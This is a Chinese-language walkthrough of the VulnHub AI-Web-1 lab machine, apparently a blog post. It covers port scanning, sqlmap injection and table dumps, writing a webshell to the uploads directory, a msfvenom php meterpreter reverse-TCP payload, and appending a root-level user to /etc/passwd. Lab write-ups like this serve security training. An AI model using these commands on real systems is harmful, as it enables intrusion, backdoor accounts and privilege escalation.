【VulnHub系列】AI-Web-1 漏洞提权

一、环境

靶机: https://www.vulnhub.com/entry/ai-web-1,353/
攻击机: kali

二、具体步骤

2.1 主机发现

nmap -sP ip段

2.2 端口服务扫描

nmap -sV -A -p- 192.168.47.152

Not shown: 65534 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd
| http-robots.txt: 2 disallowed entries 
|_/m3diNf0/ /se3reTdir777/uploads/
|_http-server-header: Apache
|_http-title: AI Web 1.0

Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9

2.3 网站目录扫描

直接 http://192.168.47.152/ 这样去爆破,没有什么结果!!!

2.3.1 查看 robots.txt

【VulnHub系列】AI-Web-1 漏洞提权_第1张图片
发现两个目录:

/m3diNf0/
/se3reTdir777/uploads/

2.3.2 分别拿去目录扫描探测

/m3diNf0/info.php
/se3reTdir777/index.php
/se3reTdir777/index.php/login/

【VulnHub系列】AI-Web-1 漏洞提权_第2张图片
【VulnHub系列】AI-Web-1 漏洞提权_第3张图片
整理有用信息

1、通过 php探针 知道网站物理路径:	/home/www/html/web1x443290o2sdf92213
2、发现有个可以查询的界面,下一步猜测是否存在注入 

2.4 检测注入

输入 1    正常;
输入 1'   报错;
输入 1‘#  正常;

所以是存在注入的!

在这里插入图片描述

2.4.1 用sqlmap跑下吧(比较懒!!!)

用 BurpSuite 截取到包后保存在一个文件里
例如:
【VulnHub系列】AI-Web-1 漏洞提权_第4张图片

爆破数据库: sqlmap -r post --dbs

available databases [2]:
[*] aiweb1
[*] information_schema
爆破表:  sqlmap -r post -D aiweb1 --tables

Database: aiweb1
[2 tables]
+------------+
| user       |
| systemUser |
+------------+
爆破 user表: 
Table: user
[3 columns]
+-----------+-------------+
| Column    | Type        |
+-----------+-------------+
| id        | int(11)     |
| firstName | varchar(25) |
| lastName  | varchar(25) |
+-----------+-------------+

爆破 systemUser表: 
Table: systemUser
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(11)     |
| password | varchar(50) |
| userName | varchar(25) |
+----------+-------------+
爆破 user 表数据: sqlmap -r post -D aiweb1 -T user -C firstName,lastName --dump
Database: aiweb1
Table: user
[3 entries]
+-----------+----------+
| firstName | lastName |
+-----------+----------+
| admin     | admin    |
| root      | root     |
| mysql     | mysql    |
+-----------+----------+

爆破 systemUser 表数据: sqlmap -r post -D aiweb1 -T systemUser -C id,password,userName --dump

Database: aiweb1
Table: systemUser
[3 entries]
+------+----------------------------------------------+-----------+
| id   | password                                     | userName  |
+------+----------------------------------------------+-----------+
| 3    | TjB0VGhpczBuZUFsczA=                         | u3er      |
| 1    | RmFrZVVzZXJQYXNzdzByZA==                     | t00r      |
| 2    | TXlFdmlsUGFzc19mOTA4c2RhZjlfc2FkZmFzZjBzYQ== | aiweb1pwn |
+------+----------------------------------------------+-----------+

base64 解密:
t00r :RmFrZVVzZXJQYXNzdzByZA== (FakeUserPassw0rd)
aiweb1pwn :TXlFdmlsUGFzc19mOTA4c2RhZjlfc2FkZmFzZjBzYQ== (MyEvilPass_f908sdaf9_sadfasf0sa)
u3er :TjB0VGhpczBuZUFsczA= (N0tThis0neAls0)

**这里小结一下: ** 上面爆破的东西没什么用,拿去尝试登入,是错的密码!!!

2.4.2 利用 sqlmap 获取shell

1、尝试读取 /etc/passwd

sqlmap -r post file_read="/etc/passwd"
没有读到!!!

2、写入webshell
通过 sqlmap写入一句话:(这里方法有很多,就举一个吧!)
参考:sqlmap写入 --file-write --file-dest 写入一句话
其他还可以利用 sqlmap的 --os-shell 和 mysql语句写入等。。。

sqlmap -r post --file-write="hack.php"  --file-dest="/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php"

菜刀连接:
http://192.168.47.152/se3reTdir777/uploads/shell.php

【VulnHub系列】AI-Web-1 漏洞提权_第5张图片
发现可以查看 /etc/passwd 但是sqlmap没爆出来,奇怪!!!
无法访问 root 目录,所以还得提权!!!

2.5 提权

前提:发现 www-data 用户对 /etc/passwd 有写权限!!!

添加个 root 权限用户: 例如 插入用户: inseone  密码: passtest
perl -le 'print crypt("passtest","salt")'
echo "inseone:sabE5x7epbUlE:0:0:hacker:/root:/bin/bash" >> /etc/passwd

在这里插入图片描述
菜刀里不支持 su 命令…
在这里插入图片描述

2.5.1 利用 msf 里的 meterpreter 模块里的shell终端

1、生成 php 木马
msfvenom -a php php/meterpreter/reverse_tcp LHOST=kali_ip LPORT=4444 -f raw > webshell.php

2、通过菜刀上传到前面一句话木马那个目录下

【VulnHub系列】AI-Web-1 漏洞提权_第6张图片
在kali上监听反弹shell :
【VulnHub系列】AI-Web-1 漏洞提权_第7张图片

1、 进入终端: shell
2、交互式终端: python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

【VulnHub系列】AI-Web-1 漏洞提权_第8张图片

【VulnHub系列】AI-Web-1 漏洞提权_第9张图片

至此,关于 AI:Web:1 的题解已完毕!

你可能感兴趣的:(VulnHub系列,mysql,安全,linux)